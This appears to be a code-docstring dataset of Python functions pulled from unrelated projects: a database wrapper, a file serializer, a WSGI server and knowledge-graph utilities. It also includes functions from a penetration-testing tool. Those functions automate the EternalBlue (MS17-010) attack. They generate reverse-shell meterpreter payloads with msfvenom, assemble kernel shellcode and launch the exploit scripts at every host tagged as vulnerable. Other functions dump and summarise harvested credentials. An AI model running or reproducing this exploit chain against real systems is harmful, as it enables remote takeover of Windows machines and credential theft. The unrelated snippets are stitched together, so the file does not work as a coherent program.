 - delimited string , or IntEnum ."""

implementation:
if type ( columns ) == list :
    self . columns = columns
elif type ( columns ) == str :
    self . columns = [ c . strip ( ) for c in columns . split ( ) ]
elif type ( columns ) == IntEnum :
    self . columns = [ str ( c ) for c in columns ]
else :
    raise RawlException ( "Unknown format for columns" )


signature:
def query ( self , sql_string , * args , ** kwargs ) :
    """Execute a DML query
 : sql _ string : An SQL string template
 : * args : Arguments to be passed for query parameters .
 : commit : Whether or not to commit the transaction after the query
 : returns : Psycopg2 result"""

implementation:
commit = None
columns = None
if kwargs . get ( 'commit' ) is not None :
    commit = kwargs . pop ( 'commit' )
if kwargs . get ( 'columns' ) is not None :
    columns = kwargs . pop ( 'columns' )
query = self . _assemble_simple ( sql_string , * args , ** kwargs )
return self . _execute ( query , commit = commit , working_columns = columns )


signature:
def select ( self , sql_string , cols , * args , ** kwargs ) :
    """Execute a SELECT statement
 : sql _ string : An SQL string template
 : columns : A list of columns to be returned by the query
 : * args : Arguments to be passed for query parameters .
 : returns : Psycopg2 result"""

implementation:
working_columns = None
if kwargs . get ( 'columns' ) is not None :
    working_columns = kwargs . pop ( 'columns' )
query = self . _assemble_select ( sql_string , cols , * args , * kwargs )
return self . _execute ( query , working_columns = working_columns )


signature:
def insert_dict ( self , value_dict , commit = False ) :
    """Execute an INSERT statement using a python dict
 : value _ dict : A dictionary representing all the columns ( keys ) and
 values that should be part of the INSERT statement
 : commit : Whether to automatically commit the transaction
 : returns : Psycopg2 result"""

implementation:
# Sanity check the value _ dict
for key in value_dict . keys ( ) :
    if key not in self . columns :
        raise ValueError ( "Column %s does not exist" % key )
# These lists will make up the columns and values of the INSERT
insert_cols = [ ]
value_set = [ ]
# Go through all the possible columns and look for that column in the
# dict . If available , we need to add it to our col / val sets
for col in self . columns :
    if col in value_dict : # log . debug ( " Inserting with column % s " % col )
        insert_cols . append ( col )
        value_set . append ( value_dict [ col ] )
# Create SQL statement placeholders for the dynamic values
placeholders = ', ' . join ( [ "{%s}" % x for x in range ( 1 , len ( value_set ) + 1 ) ] )
# TODO : Maybe don ' t trust table _ name ane pk _ name ? Shouldn ' t really be
# user input , but who knows .
query = self . _assemble_with_columns ( '''
            INSERT INTO "''' + self . table + '''" ({0})
            VALUES (''' + placeholders + ''')
            RETURNING ''' + self . pk + '''
            ''' , insert_cols , * value_set )
result = self . _execute ( query , commit = commit )
# Inca
if len ( result ) > 0 : # Return the pk if we can
    if hasattr ( result [ 0 ] , self . pk ) :
        return getattr ( result [ 0 ] , self . pk )
    # Otherwise , the full result
    else :
        return result [ 0 ]
else :
    return None


signature:
def get ( self , pk ) :
    """Retreive a single record from the table . Lots of reasons this might be
 best implemented in the model
 : pk : The primary key ID for the record
 : returns : List of single result"""

implementation:
if type ( pk ) == str : # Probably an int , give it a shot
    try :
        pk = int ( pk )
    except ValueError :
        pass
return self . select ( "SELECT {0} FROM " + self . table + " WHERE " + self . pk + " = {1};" , self . columns , pk )


signature:
def dump ( self , stream , contentType = None , version = None ) :
    '''Serializes this FileItem to a byte - stream and writes it to the
 file - like object ` stream ` . ` contentType ` and ` version ` must be one
 of the supported content - types , and if not specified , will default
 to ` ` application / vnd . omads - file ` ` .'''

implementation:
if contentType is None :
    contentType = constants . TYPE_OMADS_FILE
if ctype . getBaseType ( contentType ) != constants . TYPE_OMADS_FILE :
    raise common . InvalidContentType ( 'cannot serialize FileItem to "%s"' % ( contentType , ) )
if version is None :
    version = '1.2'
if version != '1.2' :
    raise common . InvalidContentType ( 'invalid file serialization version "%s"' % ( version , ) )
root = ET . Element ( 'File' )
if self . name is not None :
    ET . SubElement ( root , 'name' ) . text = self . name
# todo : do anything with " parent " ? . . .
for attr in ( 'created' , 'modified' , 'accessed' ) :
    if getattr ( self , attr ) is None :
        continue
    ET . SubElement ( root , attr ) . text = common . ts_iso ( getattr ( self , attr ) )
if self . contentType is not None :
    ET . SubElement ( root , 'cttype' ) . text = self . contentType
attrs = [ attr for attr in ( 'hidden' , 'system' , 'archived' , 'delete' , 'writable' , 'readable' , 'executable' ) if getattr ( self , attr ) is not None ]
if len ( attrs ) > 0 :
    xa = ET . SubElement ( root , 'attributes' )
    for attr in attrs :
        ET . SubElement ( xa , attr [ 0 ] ) . text = 'true' if getattr ( self , attr ) else 'false'
if self . body is not None :
    ET . SubElement ( root , 'body' ) . text = self . body
if self . body is None and self . size is not None :
    ET . SubElement ( root , 'size' ) . text = str ( self . size )
if len ( self . extensions ) > 0 :
    xe = ET . SubElement ( root , 'Ext' )
    for name , values in self . extensions . items ( ) :
        ET . SubElement ( xe , 'XNam' ) . text = name
        for value in values :
            ET . SubElement ( xe , 'XVal' ) . text = value
ET . ElementTree ( root ) . write ( stream )
return ( constants . TYPE_OMADS_FILE + '+xml' , '1.2' )


signature:
def load ( cls , stream , contentType = None , version = None ) :
    '''Reverses the effects of the : meth : ` dump ` method , creating a FileItem
 from the specified file - like ` stream ` object .'''

implementation:
if contentType is None :
    contentType = constants . TYPE_OMADS_FILE
if ctype . getBaseType ( contentType ) == constants . TYPE_OMADS_FOLDER :
    from . folder import FolderItem
    return FolderItem . load ( stream , contentType , version )
if ctype . getBaseType ( contentType ) != constants . TYPE_OMADS_FILE :
    raise common . InvalidContentType ( 'cannot de-serialize FileItem from "%s"' % ( contentType , ) )
if version is None :
    version = '1.2'
if version != '1.2' :
    raise common . InvalidContentType ( 'invalid FileItem de-serialization version "%s"' % ( version , ) )
ret = FileItem ( )
data = stream . read ( )
xdoc = ET . fromstring ( data )
if xdoc . tag != 'File' :
    raise common . InvalidContent ( 'root of application/vnd.omads-file XML must be "File" not "%s"' % ( xdoc . tag , ) )
ret . name = xdoc . findtext ( 'name' )
ret . body = xdoc . findtext ( 'body' )
ret . size = xdoc . findtext ( 'size' )
if ret . body is not None :
    ret . size = len ( ret . body )
elif ret . size is not None :
    ret . size = int ( ret . size )
# todo : do anything with " parent " ? . . .
# load the date attributes
for attr in ( 'created' , 'modified' , 'accessed' ) :
    val = xdoc . findtext ( attr )
    if val is not None :
        setattr ( ret , attr , int ( common . parse_ts_iso ( val ) ) )
# load the boolean attributes
for attr in ( 'hidden' , 'system' , 'archived' , 'delete' , 'writable' , 'readable' , 'executable' ) :
    val = xdoc . findtext ( 'attributes/' + attr [ 0 ] )
    if val is not None :
        setattr ( ret , attr , val . lower ( ) == 'true' )
return ret


signature:
def setup ( self ) :
    """This function will call msfvenom , nasm and git via subprocess to setup all the things .
 Returns True if everything went well , otherwise returns False ."""

implementation:
lport64 = self . port64
lport32 = self . port32
print_notification ( "Using ip: {}" . format ( self . ip ) )
print_notification ( "Generating metasploit resource file" )
resource = """use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST {ip}
set LPORT {port64}
set ExitOnSession false
run -j
set payload windows/meterpreter/reverse_tcp
set LHOST {ip}
set LPORT {port32}
set ExitOnSession false
run -j
""" . format ( ip = self . ip , port64 = lport64 , port32 = lport32 )
self . resource_file = os . path . join ( self . datadir , 'ms17_resource.rc' )
with open ( self . resource_file , 'w' ) as f :
    f . write ( resource )
print_success ( "Resource file created, run the following command in msfconsole:" )
print_success ( "resource {}" . format ( self . resource_file ) )
command_64 = "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload32.bin" . format ( ip = self . ip , port = lport32 , datadir = self . datadir )
command_32 = "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload64.bin" . format ( ip = self . ip , port = lport64 , datadir = self . datadir )
print_notification ( "Generating payloads" )
process = subprocess . run ( command_32 . split ( ' ' ) , stdout = subprocess . PIPE , stderr = subprocess . PIPE )
if process . returncode != 0 :
    print_error ( "Problem with generating payload:" )
    print_error ( process . stderr )
    return False
process = subprocess . run ( command_64 . split ( ' ' ) , stdout = subprocess . PIPE , stderr = subprocess . PIPE )
if process . returncode != 0 :
    print_error ( "Problem with generating payload:" )
    print_error ( process . stderr )
    return False
if not os . path . exists ( os . path . join ( self . datadir , 'MS17-010' ) ) :
    print_notification ( "Git repo was not found, cloning" )
    process = subprocess . run ( "git clone https://github.com/mwgielen/MS17-010 {dir}" . format ( dir = os . path . join ( self . datadir , 'MS17-010' ) ) . split ( ' ' ) )
    if process . returncode != 0 :
        print_error ( "Problems with cloning git" )
        return False
process = subprocess . run ( "nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o {datadir}/kshell64.bin" . format ( datadir = self . datadir ) . split ( ' ' ) )
if process . returncode != 0 :
    print_error ( "Problems with NASM" )
    return False
process = subprocess . run ( "nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o {datadir}/kshell86.bin" . format ( datadir = self . datadir ) . split ( ' ' ) )
if process . returncode != 0 :
    print_error ( "Problems with NASM" )
    return False
self . combine_files ( 'kshell64.bin' , 'payload64.bin' , 'final_met_64.bin' )
self . combine_files ( 'kshell86.bin' , 'payload32.bin' , 'final_met_32.bin' )
self . create_payload ( 'final_met_32.bin' , 'final_met_64.bin' , 'final_combined.bin' )
print_notification ( "Combining payloads done" )
print_success ( "Setup Done" )
return True


signature:
def create_payload ( self , x86_file , x64_file , payload_file ) :
    """Creates the final payload based on the x86 and x64 meterpreters ."""

implementation:
sc_x86 = open ( os . path . join ( self . datadir , x86_file ) , 'rb' ) . read ( )
sc_x64 = open ( os . path . join ( self . datadir , x64_file ) , 'rb' ) . read ( )
fp = open ( os . path . join ( self . datadir , payload_file ) , 'wb' )
fp . write ( b'\x31\xc0\x40\x0f\x84' + pack ( '<I' , len ( sc_x86 ) ) )
fp . write ( sc_x86 )
fp . write ( sc_x64 )
fp . close ( )


signature:
def combine_files ( self , f1 , f2 , f3 ) :
    """Combines the files 1 and 2 into 3."""

implementation:
with open ( os . path . join ( self . datadir , f3 ) , 'wb' ) as new_file :
    with open ( os . path . join ( self . datadir , f1 ) , 'rb' ) as file_1 :
        new_file . write ( file_1 . read ( ) )
    with open ( os . path . join ( self . datadir , f2 ) , 'rb' ) as file_2 :
        new_file . write ( file_2 . read ( ) )


signature:
def detect_os ( self , ip ) :
    """Runs the checker . py scripts to detect the os ."""

implementation:
process = subprocess . run ( [ 'python2' , os . path . join ( self . datadir , 'MS17-010' , 'checker.py' ) , str ( ip ) ] , stdout = subprocess . PIPE )
out = process . stdout . decode ( 'utf-8' ) . split ( '\n' )
system_os = ''
for line in out :
    if line . startswith ( 'Target OS:' ) :
        system_os = line . replace ( 'Target OS: ' , '' )
        break
return system_os


signature:
def exploit ( self ) :
    """Starts the exploiting phase , you should run setup before running this function .
 if auto is set , this function will fire the exploit to all systems . Otherwise a curses interface is shown ."""

implementation:
search = ServiceSearch ( )
host_search = HostSearch ( )
services = search . get_services ( tags = [ 'MS17-010' ] )
services = [ service for service in services ]
if len ( services ) == 0 :
    print_error ( "No services found that are vulnerable for MS17-010" )
    return
if self . auto :
    print_success ( "Found {} services vulnerable for MS17-010" . format ( len ( services ) ) )
    for service in services :
        print_success ( "Exploiting " + str ( service . address ) )
        host = host_search . id_to_object ( str ( service . address ) )
        system_os = ''
        if host . os :
            system_os = host . os
        else :
            system_os = self . detect_os ( str ( service . address ) )
            host . os = system_os
            host . save ( )
        text = self . exploit_single ( str ( service . address ) , system_os )
        print_notification ( text )
else :
    service_list = [ ]
    for service in services :
        host = host_search . id_to_object ( str ( service . address ) )
        system_os = ''
        if host . os :
            system_os = host . os
        else :
            system_os = self . detect_os ( str ( service . address ) )
            host . os = system_os
            host . save ( )
        service_list . append ( { 'ip' : service . address , 'os' : system_os , 'string' : "{ip} ({os}) {hostname}" . format ( ip = service . address , os = system_os , hostname = host . hostname ) } )
    draw_interface ( service_list , self . callback , "Exploiting {ip} with OS: {os}" )


signature:
def exploit_single ( self , ip , operating_system ) :
    """Exploits a single ip , exploit is based on the given operating system ."""

implementation:
result = None
if "Windows Server 2008" in operating_system or "Windows 7" in operating_system :
    result = subprocess . run ( [ 'python2' , os . path . join ( self . datadir , 'MS17-010' , 'eternalblue_exploit7.py' ) , str ( ip ) , os . path . join ( self . datadir , 'final_combined.bin' ) , "12" ] , stdout = subprocess . PIPE , stderr = subprocess . PIPE )
elif "Windows Server 2012" in operating_system or "Windows 10" in operating_system or "Windows 8.1" in operating_system :
    result = subprocess . run ( [ 'python2' , os . path . join ( self . datadir , 'MS17-010' , 'eternalblue_exploit8.py' ) , str ( ip ) , os . path . join ( self . datadir , 'final_combined.bin' ) , "12" ] , stdout = subprocess . PIPE , stderr = subprocess . PIPE )
else :
    return [ "System target could not be automatically identified" ]
return result . stdout . decode ( 'utf-8' ) . split ( '\n' )


signature:
def epoll_poller ( timeout = 0.0 , map = None ) :
    """A poller which uses epoll ( ) , supported on Linux 2.5.44 and newer
 Borrowed from here :
 https : / / github . com / m13253 / python - asyncore - epoll / blob / master / asyncore _ epoll . py # L200"""

implementation:
if map is None :
    map = asyncore . socket_map
pollster = select . epoll ( )
if map :
    for fd , obj in iteritems ( map ) :
        flags = 0
        if obj . readable ( ) :
            flags |= select . POLLIN | select . POLLPRI
        if obj . writable ( ) :
            flags |= select . POLLOUT
        if flags : # Only check for exceptions if object was either readable
        # or writable .
            flags |= select . POLLERR | select . POLLHUP | select . POLLNVAL
            pollster . register ( fd , flags )
    try :
        r = pollster . poll ( timeout )
    except select . error as err :
        if err . args [ 0 ] != EINTR :
            raise
        r = [ ]
    for fd , flags in r :
        obj = map . get ( fd )
        if obj is None :
            continue
        asyncore . readwrite ( obj , flags )


signature:
def get_poll_func ( ) :
    """Get the best available socket poll function
 : return : poller function"""

implementation:
if hasattr ( select , 'epoll' ) :
    poll_func = epoll_poller
elif hasattr ( select , 'poll' ) :
    poll_func = asyncore . poll2
else :
    poll_func = asyncore . poll
return poll_func


signature:
def make_server ( host , port , app = None , server_class = AsyncWsgiServer , handler_class = AsyncWsgiHandler , ws_handler_class = None , ws_path = '/ws' ) :
    """Create server instance with an optional WebSocket handler
 For pure WebSocket server ` ` app ` ` may be ` ` None ` ` but an attempt to access
 any path other than ` ` ws _ path ` ` will cause server error .
 : param host : hostname or IP
 : type host : str
 : param port : server port
 : type port : int
 : param app : WSGI application
 : param server _ class : WSGI server class , defaults to AsyncWsgiServer
 : param handler _ class : WSGI handler class , defaults to AsyncWsgiHandler
 : param ws _ handler _ class : WebSocket hanlder class , defaults to ` ` None ` `
 : param ws _ path : WebSocket path on the server , defaults to ' / ws '
 : type ws _ path : str , optional
 : return : initialized server instance"""

implementation:
handler_class . ws_handler_class = ws_handler_class
handler_class . ws_path = ws_path
httpd = server_class ( ( host , port ) , RequestHandlerClass = handler_class )
httpd . set_app ( app )
return httpd


signature:
def poll_once ( self , timeout = 0.0 ) :
    """Poll active sockets once
 This method can be used to allow aborting server polling loop
 on some condition .
 : param timeout : polling timeout"""

implementation:
if self . _map :
    self . _poll_func ( timeout , self . _map )


signature:
def serve_forever ( self , poll_interval = 0.5 ) :
    """Start serving HTTP requests
 This method blocks the current thread .
 : param poll _ interval : polling timeout
 : return :"""

implementation:
logger . info ( 'Starting server on {}:{}...' . format ( self . server_name , self . server_port ) )
while True :
    try :
        self . poll_once ( poll_interval )
    except ( KeyboardInterrupt , SystemExit ) :
        break
self . handle_close ( )
logger . info ( 'Server stopped.' )


signature:
def read_labels ( filename , delimiter = DEFAULT_DELIMITER ) :
    """read label files . Format : ent label"""

implementation:
_assert_good_file ( filename )
with open ( filename ) as f :
    labels = [ _label_processing ( l , delimiter ) for l in f ]
    return labels


signature:
def write_index_translation ( translation_filename , entity_ids , relation_ids ) :
    """write triples into a translation file ."""

implementation:
translation = triple_pb . Translation ( )
entities = [ ]
for name , index in entity_ids . items ( ) :
    translation . entities . add ( element = name , index = index )
relations = [ ]
for name , index in relation_ids . items ( ) :
    translation . relations . add ( element = name , index = index )
with open ( translation_filename , "wb" ) as f :
    f . write ( translation . SerializeToString ( ) )


signature:
def write_triples ( filename , triples , delimiter = DEFAULT_DELIMITER , triple_order = "hrt" ) :
    """write triples to file ."""

implementation:
with open ( filename , 'w' ) as f :
    for t in triples :
        line = t . serialize ( delimiter , triple_order )
        f . write ( line + "\n" )


signature:
def read_translation ( filename ) :
    """Returns protobuf mapcontainer . Read from translation file ."""

implementation:
translation = triple_pb . Translation ( )
with open ( filename , "rb" ) as f :
    translation . ParseFromString ( f . read ( ) )
def unwrap_translation_units ( units ) :
    for u in units :
        yield u . element , u . index
return ( list ( unwrap_translation_units ( translation . entities ) ) , list ( unwrap_translation_units ( translation . relations ) ) )


signature:
def read_openke_translation ( filename , delimiter = '\t' , entity_first = True ) :
    """Returns map with entity or relations from plain text ."""

implementation:
result = { }
with open ( filename , "r" ) as f :
    _ = next ( f )
    # pass the total entry number
    for line in f :
        line_slice = line . rstrip ( ) . split ( delimiter )
        if not entity_first :
            line_slice = list ( reversed ( line_slice ) )
        result [ line_slice [ 0 ] ] = line_slice [ 1 ]
return result


signature:
def overview ( ) :
    """Prints an overview of the tags of the hosts ."""

implementation:
doc = Host ( )
search = doc . search ( )
search . aggs . bucket ( 'tag_count' , 'terms' , field = 'tags' , order = { '_count' : 'desc' } , size = 100 )
response = search . execute ( )
print_line ( "{0:<25} {1}" . format ( 'Tag' , 'Count' ) )
print_line ( "-" * 30 )
for entry in response . aggregations . tag_count . buckets :
    print_line ( "{0:<25} {1}" . format ( entry . key , entry . doc_count ) )


signature:
def main ( ) :
    """Main credentials tool"""

implementation:
cred_search = CredentialSearch ( )
arg = argparse . ArgumentParser ( parents = [ cred_search . argparser ] , conflict_handler = 'resolve' )
arg . add_argument ( '-c' , '--count' , help = "Only show the number of results" , action = "store_true" )
arguments = arg . parse_args ( )
if arguments . count :
    print_line ( "Number of credentials: {}" . format ( cred_search . argument_count ( ) ) )
else :
    response = cred_search . get_credentials ( )
    for hit in response :
        print_json ( hit . to_dict ( include_meta = True ) )


signature:
def overview ( ) :
    """Provides an overview of the duplicate credentials ."""

implementation:
search = Credential . search ( )
search . aggs . bucket ( 'password_count' , 'terms' , field = 'secret' , order = { '_count' : 'desc' } , size = 20 ) . metric ( 'username_count' , 'cardinality' , field = 'username' ) . metric ( 'host_count' , 'cardinality' , field = 'host_ip' ) . metric ( 'top_hits' , 'top_hits' , docvalue_fields = [ 'username' ] , size = 100 )
response = search . execute ( )
print_line ( "{0:65} {1:5} {2:5} {3:5} {4}" . format ( "Secret" , "Count" , "Hosts" , "Users" , "Usernames" ) )
print_line ( "-" * 100 )
for entry in response . aggregations . password_count . buckets :
    usernames = [ ]
    for creds in entry . top_hits :
        usernames . append ( creds . username [ 0 ] )
    usernames = list ( set ( usernames ) )
    print_line ( "{0:65} {1:5} {2:5} {3:5} {4}" . format ( entry . key , entry . doc_count , entry . host_count . value , entry . username_count . value , usernames ) )


signature:
def process ( self , nemo ) :
    """Register nemo and parses annotations
 . . note : : Process parses the annotation and extends informations about the target URNs by retrieving resource in range
 : param nemo : Nemo"""

implementation:
self . __nemo__ = nemo
for annotation in self . __annotations__ :
    annotation . target . expanded = frozenset ( self . __getinnerreffs__ ( objectId = annotation . target . objectId , subreference = annotation . target . subreference ) )


signature:
def pipe_worker ( pipename , filename , object_type , query , format_string , unique = False ) :
    """Starts the loop to provide the data from jackal ."""

implementation:
print_notification ( "[{}] Starting pipe" . format ( pipename ) )
object_type = object_type ( )
try :
    while True :
        uniq = set ( )
        # Remove the previous file if it exists
        if os . path . exists ( filename ) :
            os . remove ( filename )
        # Create the named pipe
        os . mkfifo ( filename )
        # This function will block until a process opens it
        with open ( filename , 'w' ) as pipe :
            print_success ( "[{}] Providing data" . format ( pipename ) )
            # Search the database
            objects = object_type . search ( ** query )
            for obj in objects :
                data = fmt . format ( format_string , ** obj . to_dict ( ) )
                if unique :
                    if not data in uniq :
                        uniq . add ( data )
                        pipe . write ( data + '\n' )
                else :
                    pipe . write ( data + '\n' )
        os . unlink ( filename )
except KeyboardInterrupt :
    print_notification ( "[{}] Shutting down named pipe" . format ( pipename ) )
except Exception as e :
    print_error ( "[{}] Error: {}, stopping named pipe" . format ( e , pipename ) )
finally :
    os . remove ( filename )